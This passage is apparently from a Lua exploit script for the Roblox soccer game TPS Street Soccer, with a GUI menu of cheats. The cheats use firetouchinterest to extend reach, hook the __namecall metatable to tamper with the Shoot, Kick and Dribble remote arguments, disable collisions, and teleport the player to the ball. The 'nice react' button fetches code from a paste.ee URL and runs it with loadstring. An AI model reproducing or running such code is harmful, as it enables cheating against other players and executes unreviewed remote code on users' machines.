- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "8 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 8 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "15 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 15 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "30 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 30 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- --misc
- local Tab = Window:MakeTab({
- Name = "misc",
- Icon = "rbxassetid://4483345998",
- PremiumOnly = false
- })
- --antiballfling
- Tab:AddButton({
- Name = "antiballfling",
- Callback = function()
- local speaker = game.Players.LocalPlayer
- local RunService = game:GetService("RunService")
- Clip = false
- wait(0.1)
- local function NoclipLoop()
- if Clip == false and speaker.Character ~= nil then
- for _, child in pairs(speaker.Character:GetDescendants()) do
- if child:IsA("BasePart") and child.CanCollide == true and child.Name == "Right Leg" or child.Name == "Right Arm" or child.Name == "Left Arm" or child.Name == "Right Arm" or child.Name == "Torso" then
- child.CanCollide = false
- end
- end
- end
- end
- Noclipping = RunService.Stepped:Connect(NoclipLoop)
- end
- })
- --fpsbooster
- Tab:AddButton({
- Name = "fps booster",
- Callback = function()
- local decalsyeeted = true -- Leaving this on makes games look shitty but the fps goes up by at least 20.
- local g = game
- local w = g.Workspace
- local l = g.Lighting
- local t = w.Terrain
- t.WaterWaveSize = 0
- t.WaterWaveSpeed = 0
- t.WaterReflectance = 0
- t.WaterTransparency = 0
- l.GlobalShadows = false
- l.FogEnd = 9e9
- l.Brightness = 0
- settings().Rendering.QualityLevel = "Level01"
- for i, v in pairs(g:GetDescendants()) do
- if v:IsA("Part") or v:IsA("Union") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then
- v.Material = "Plastic"
- v.Reflectance = 0
- elseif v:IsA("Decal") or v:IsA("Texture") and decalsyeeted then
- v.Transparency = 1
- elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
- v.Lifetime = NumberRange.new(0)
- elseif v:IsA("Explosion") then
- v.BlastPressure = 1
- v.BlastRadius = 1
- elseif v:IsA("Fire") or v:IsA("SpotLight") or v:IsA("Smoke") then
- v.Enabled = false
- elseif v:IsA("MeshPart") then
- v.Material = "Plastic"
- v.Reflectance = 0
- v.TextureID = 10385902758728957
- end
- end
- for i, e in pairs(l:GetChildren()) do
- if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then
- e.Enabled = false
- end
- end
- end
- })
- --react tab
- local Tab = Window:MakeTab({
- Name = "react settings",
- Icon = "rbxassetid://4483345998",
- PremiumOnly = false
- })
- Tab:AddButton({
- Name = "nice react",
- Callback = function()
- loadstring(game:HttpGet("https://paste.ee/r/q29Pj"))()
- end
- })
- --shoot
- Tab:AddButton({
- Name = "shoot",
- Callback = function()
- _G.Vector = Vector3.new(math.huge, math.huge, math.huge)
- local mt = getrawmetatable(game);
- local old = mt.namecall
- setreadonly(mt,false)
- mt.namecall = newcclosure(function(remote,...)
- args = {...}
- method = tostring(getnamecallmethod())
- if method == "FireServer" and tostring(remote) == "Shoot" then
- args[6] = _G.Vector
- return old(remote,unpack(args))
- end
- return old(remote,...)
- end)
- setreadonly(mt,true)
- end
- })
- --kick
- Tab:AddButton({
- Name = "kick",
- Callback = function()
- _G.Vector = Vector3.new(math.huge, math.huge, math.huge)
- local mt = getrawmetatable(game);
- local old = mt.namecall
- setreadonly(mt,false)
- mt.namecall = newcclosure(function(remote,...)
- args = {...}
- method = tostring(getnamecallmethod())
- if method == "FireServer" and tostring(remote) == "Kick" then
- args[6] = _G.Vector
- return old(remote,unpack(args))
- end
- return old(remote,...)
- end)
- setreadonly(mt,true)
- end
- })
- --dribble
- Tab:AddButton({
- Name = "dribble",
- Callback = function()
- local player = game:GetService("Players").LocalPlayer
- local mt = getrawmetatable(game);
- local old = mt.namecall
- setreadonly(mt,false)
- mt.namecall = newcclosure(function(remote,...)
- args = {...}
- method = tostring(getnamecallmethod())
- if method == "FireServer" and tostring(remote) == "Dribble" then
- args[2] = player.Character.Humanoid.LLCL
- return old(remote,unpack(args))
- end
- return old(remote,...)
- end)
- setreadonly(mt,true)
- end
- })
- --clickk!
- local Tab = Window:MakeTab({
- Name = "click!",
- Icon = "rbxassetid://4483345998",
- PremiumOnly = false
- })
- Tab:AddButton({
- Name = "Ball TP",
- Callback = function()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").TPSSystem.TPS.CFrame
- end
- })
- --updates
- local Tab = Window:MakeTab({
- Name = "updates",
- Icon = "rbxassetid://4483345998",
- PremiumOnly = false
- })
- Tab:AddParagraph("19.02.2023","Maked from me")
- Tab:AddParagraph("25.02.2023","Added react")
- --onlyAdmin
- local Tab = Window:MakeTab({
- Name = "onlyAdmin",
- Icon = "rbxassetid://4483345998",
- PremiumOnly = false
- })
- OrionLib:MakeNotification({
- Name = "tysm",
- Content = "yBloodz Tps Script",
- Image = "rbxassetid://4483345998",
- Time = 5
- })
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